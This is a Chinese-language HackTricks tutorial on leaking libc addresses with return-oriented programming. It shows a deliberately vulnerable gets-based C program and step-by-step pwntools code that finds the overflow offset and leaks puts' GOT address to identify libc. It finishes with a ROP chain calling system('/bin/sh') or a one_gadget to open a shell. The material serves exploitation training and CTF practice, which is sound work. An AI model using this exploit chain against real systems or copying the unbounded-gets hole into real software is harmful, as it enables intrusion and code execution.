# 使用 ROP 泄露 libc 地址 {% hint style="success" %} 学习与实践 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ 学习与实践 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
支持 HackTricks * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! * **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
{% endhint %} ## 快速概述 1. **找到** 溢出 **偏移量** 2. **找到** `POP_RDI` gadget, `PUTS_PLT` 和 `MAIN` 3. 使用之前的 gadgets **泄露 puts 或其他 libc 函数的内存地址** 并 **找到 libc 版本** ([下载它](https://libc.blukat.me)) 4. 使用库,**计算 ROP 并进行利用** ## 其他教程和二进制文件以供实践 本教程将利用本教程中提出的代码/二进制文件:[https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\ 另一个有用的教程:[https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html) ## 代码 文件名:`vuln.c` ```c #include int main() { char buffer[32]; puts("Simple ROP.\n"); gets(buffer); return 0; } ``` ```bash gcc -o vuln vuln.c -fno-stack-protector -no-pie ``` ## ROP - 泄露 LIBC 模板 我将使用这里的代码来制作漏洞利用程序。\ 下载漏洞利用程序并将其放置在与易受攻击的二进制文件相同的目录中,并向脚本提供所需的数据: {% content-ref url="rop-leaking-libc-template.md" %} [rop-leaking-libc-template.md](rop-leaking-libc-template.md) {% endcontent-ref %} ## 1- 查找偏移量 模板在继续进行漏洞利用之前需要一个偏移量。如果提供了任何偏移量,它将执行必要的代码来查找它(默认 `OFFSET = ""`): ```bash ################### ### Find offset ### ################### OFFSET = ""#"A"*72 if OFFSET == "": gdb.attach(p.pid, "c") #Attach and continue payload = cyclic(1000) print(r.clean()) r.sendline(payload) #x/wx $rsp -- Search for bytes that crashed the application #cyclic_find(0x6161616b) # Find the offset of those bytes return ``` **执行** `python template.py` 将打开一个 GDB 控制台,程序将崩溃。在该 **GDB 控制台** 中执行 `x/wx $rsp` 以获取将要覆盖 RIP 的 **字节**。最后使用 **python** 控制台获取 **偏移量**: ```python from pwn import * cyclic_find(0x6161616b) ``` ![](<../../../../../.gitbook/assets/image (140).png>) 在找到偏移量(在这个例子中是 40)后,使用该值更改模板中的 OFFSET 变量。\ `OFFSET = "A" * 40` 另一种方法是使用:`pattern create 1000` -- _执行直到 ret_ -- `pattern seach $rsp` 从 GEF。 ## 2- 查找 Gadgets 现在我们需要在二进制文件中查找 ROP gadgets。这些 ROP gadgets 将用于调用 `puts` 以查找正在使用的 **libc**,并随后 **启动最终的利用**。 ```python PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts MAIN_PLT = elf.symbols['main'] POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi" RET = (rop.find_gadget(['ret']))[0] log.info("Main start: " + hex(MAIN_PLT)) log.info("Puts plt: " + hex(PUTS_PLT)) log.info("pop rdi; ret gadget: " + hex(POP_RDI)) ``` The `PUTS_PLT` is needed to call the **function puts**.\ The `MAIN_PLT` is needed to call the **main function** again after one interaction to **exploit** the overflow **again** (infinite rounds of exploitation). **It is used at the end of each ROP to call the program again**.\ The **POP\_RDI** is needed to **pass** a **parameter** to the called function. In this step you don't need to execute anything as everything will be found by pwntools during the execution. ## 3- 查找libc库 现在是时候找出正在使用哪个版本的**libc**库。为此,我们将**泄漏**内存中**函数**`puts`的**地址**,然后我们将**搜索**该地址中puts版本所在的**库版本**。 ```python def get_addr(func_name): FUNC_GOT = elf.got[func_name] log.info(func_name + " GOT @ " + hex(FUNC_GOT)) # Create rop chain rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) #Send our rop-chain payload #p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment print(p.clean()) # clean socket buffer (read all and print) p.sendline(rop1) #Parse leaked address recieved = p.recvline().strip() leak = u64(recieved.ljust(8, "\x00")) log.info("Leaked libc address, "+func_name+": "+ hex(leak)) #If not libc yet, stop here if libc != "": libc.address = leak - libc.symbols[func_name] #Save libc base log.info("libc base @ %s" % hex(libc.address)) return hex(leak) get_addr("puts") #Search for puts address in memmory to obtains libc base if libc == "": print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)") p.interactive() ``` 要做到这一点,执行代码中最重要的一行是: ```python rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) ``` 这将发送一些字节,直到**覆盖****RIP**成为可能:`OFFSET`。\ 然后,它将设置小工具`POP_RDI`的**地址**,以便下一个地址(`FUNC_GOT`)将被保存在**RDI**寄存器中。这是因为我们想要**调用puts**,**传递**它`PUTS_GOT`的**地址**,因为puts函数在内存中的地址保存在指向`PUTS_GOT`的地址中。\ 之后,将调用`PUTS_PLT`(**RDI**中包含`PUTS_GOT`),因此puts将**读取**`PUTS_GOT`中的内容(**puts函数在内存中的地址**)并**打印出来**。\ 最后,**再次调用主函数**,以便我们可以再次利用溢出。 通过这种方式,我们已经**欺骗了puts函数**,使其**打印**出**内存**中**puts**函数的**地址**(该函数位于**libc**库中)。现在我们有了这个地址,我们可以**搜索正在使用的libc版本**。 ![](<../../../../../.gitbook/assets/image (141).png>) 由于我们正在**利用**某个**本地**二进制文件,因此**不需要**弄清楚正在使用哪个版本的**libc**(只需在`/lib/x86_64-linux-gnu/libc.so.6`中找到库)。\ 但是,在远程利用的情况下,我将在这里解释如何找到它: ### 3.1- 搜索libc版本(1) 您可以在网页上搜索正在使用的库:[https://libc.blukat.me/](https://libc.blukat.me)\ 它还允许您下载发现的**libc**版本。 ![](<../../../../../.gitbook/assets/image (142).png>) ### 3.2- 搜索libc版本(2) 您还可以执行: * `$ git clone https://github.com/niklasb/libc-database.git` * `$ cd libc-database` * `$ ./get` 这将需要一些时间,请耐心等待。\ 为了使其工作,我们需要: * Libc符号名称:`puts` * 泄露的libc地址:`0x7ff629878690` 我们可以找出最有可能使用的**libc**。 ```bash ./find puts 0x7ff629878690 ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64) archive-glibc (id libc6_2.23-0ubuntu11_amd64) ``` 我们得到了 2 个匹配(如果第一个不工作,你应该尝试第二个)。下载第一个: ```bash ./download libc6_2.23-0ubuntu10_amd64 Getting libc6_2.23-0ubuntu10_amd64 -> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb -> Downloading package -> Extracting package -> Package saved to libs/libc6_2.23-0ubuntu10_amd64 ``` 将 `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` 中的 libc 复制到我们的工作目录。 ### 3.3- 其他泄露函数 ```python puts printf __libc_start_main read gets ``` ## 4- 查找基础 libc 地址与利用 在这一点上,我们应该知道使用的 libc 库。由于我们正在利用一个本地二进制文件,我将使用:`/lib/x86_64-linux-gnu/libc.so.6` 因此,在 `template.py` 的开头,将 **libc** 变量更改为: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #设置库路径当知道它时` 给 **libc 库** 提供 **路径** 后,剩下的 **利用将会自动计算**。 在 `get_addr` 函数内部,**libc 的基地址** 将被计算: ```python if libc != "": libc.address = leak - libc.symbols[func_name] #Save libc base log.info("libc base @ %s" % hex(libc.address)) ``` {% hint style="info" %} 注意 **最终的 libc 基地址必须以 00 结尾**。如果不是这种情况,您可能泄露了不正确的库。 {% endhint %} 然后,函数 `system` 的地址和字符串 _"/bin/sh"_ 的 **地址** 将从 **libc** 的 **基地址** 计算得出,并给定 **libc 库。** ```python BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh SYSTEM = libc.sym["system"] EXIT = libc.sym["exit"] log.info("bin/sh %s " % hex(BINSH)) log.info("system %s " % hex(SYSTEM)) ``` 最后,将准备发送 /bin/sh 执行漏洞: ```python rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT) p.clean() p.sendline(rop2) #### Interact with the shell ##### p.interactive() #Interact with the conenction ``` 让我们解释这个最终的ROP。\ 最后的ROP(`rop1`)再次调用了主函数,然后我们可以**再次利用**这个**溢出**(这就是`OFFSET`再次出现的原因)。然后,我们想要调用`POP_RDI`,指向**地址** _"/bin/sh"_(`BINSH`),并调用**system**函数(`SYSTEM`),因为 _"/bin/sh"_ 的地址将作为参数传递。\ 最后,**退出函数的地址**被**调用**,这样进程**正常退出**,不会生成任何警报。 **这样,利用将执行一个 \_/bin/sh**\_\*\* shell.\*\* ![](<../../../../../.gitbook/assets/image (143).png>) ## 4(2)- 使用 ONE\_GADGET 你也可以使用 [**ONE\_GADGET** ](https://github.com/david942j/one\_gadget)来获取一个shell,而不是使用**system**和**"/bin/sh"**。**ONE\_GADGET**将在libc库中找到一些方法,仅使用一个**ROP地址**来获取一个shell。\ 然而,通常会有一些限制,最常见且容易避免的限制是`[rsp+0x30] == NULL`。由于你控制着**RSP**中的值,你只需发送一些额外的NULL值,以避免这个限制。 ![](<../../../../../.gitbook/assets/image (615).png>) ```python ONE_GADGET = libc.address + 0x4526a rop2 = base + p64(ONE_GADGET) + "\x00"*100 ``` ## EXPLOIT FILE 您可以在这里找到利用此漏洞的模板: {% content-ref url="rop-leaking-libc-template.md" %} [rop-leaking-libc-template.md](rop-leaking-libc-template.md) {% endcontent-ref %} ## 常见问题 ### MAIN\_PLT = elf.symbols\['main'] 未找到 如果“main”符号不存在。然后您可以找到主代码的位置: ```python objdump -d vuln_binary | grep "\.text" Disassembly of section .text: 0000000000401080 <.text>: ``` 并手动设置地址: ```python MAIN_PLT = 0x401080 ``` ### Puts未找到 如果二进制文件没有使用Puts,您应该检查它是否使用 ### `sh: 1: %s%s%s%s%s%s%s%s: 未找到` 如果在创建**所有**漏洞利用后发现此**错误**:`sh: 1: %s%s%s%s%s%s%s%s: 未找到` 尝试**从“/bin/sh”的地址中减去64字节**: ```python BINSH = next(libc.search("/bin/sh")) - 64 ``` {% hint style="success" %} 学习与实践 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ 学习与实践 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
支持 HackTricks * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! * **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
{% endhint %}